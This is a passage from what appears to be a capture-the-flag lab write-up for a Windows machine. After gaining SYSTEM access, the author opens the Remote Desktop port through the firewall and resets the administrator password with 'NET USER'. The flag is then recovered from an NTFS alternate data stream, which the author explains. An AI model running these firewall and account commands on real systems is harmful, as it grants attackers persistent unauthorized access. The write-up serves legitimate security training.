Beyond
This is the beyond page that an additional post enumeration and assessment are conducted as SYSTEM after compromising the target system.
c:\windows\system32> cmd /c netsh firewall add portopening TCP 3389 "Remote Desktop"
important: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .
Ok.
c:\windows\system32> NET USER administrator Qwer1234
The command completed successfully.
Flag
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM <DIR> .
11/08/2017 09:05 AM <DIR> ..
12/24/2017 02:51 AM 36 hm.txt
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,329,575,424 bytes free
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
The usual root.txt
file is nowhere to be found at the C:\Users\Administrator\Desktop
directory
Instead, there is a file that claims the flag is elsewhere
C:\Users\Administrator\Desktop> dir /R
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM <DIR> .
11/08/2017 09:05 AM <DIR> ..
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,329,382,912 bytes free
Checking for the alternate data stream, it reveals one; hm.txt:root.txt:$DATA
The term, Alternate Data Stream or (ADS), refers to additional streams of data associated with a file. Alternate data streams are a feature of the NTFS (New Technology File System) file system used in Windows. It allow more than one data stream to be associated with a filename (a fork), using the format,filename:streamname
(e.g., text.txt:extrastream
)
C:\Users\Administrator\Desktop> more < hm.txt:root.txt:$DATA
afbc5bd4b615a60648cec41c6ac92530
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530
Utilizing the data stream redirection technique (<
), one can access the alternate data stream.
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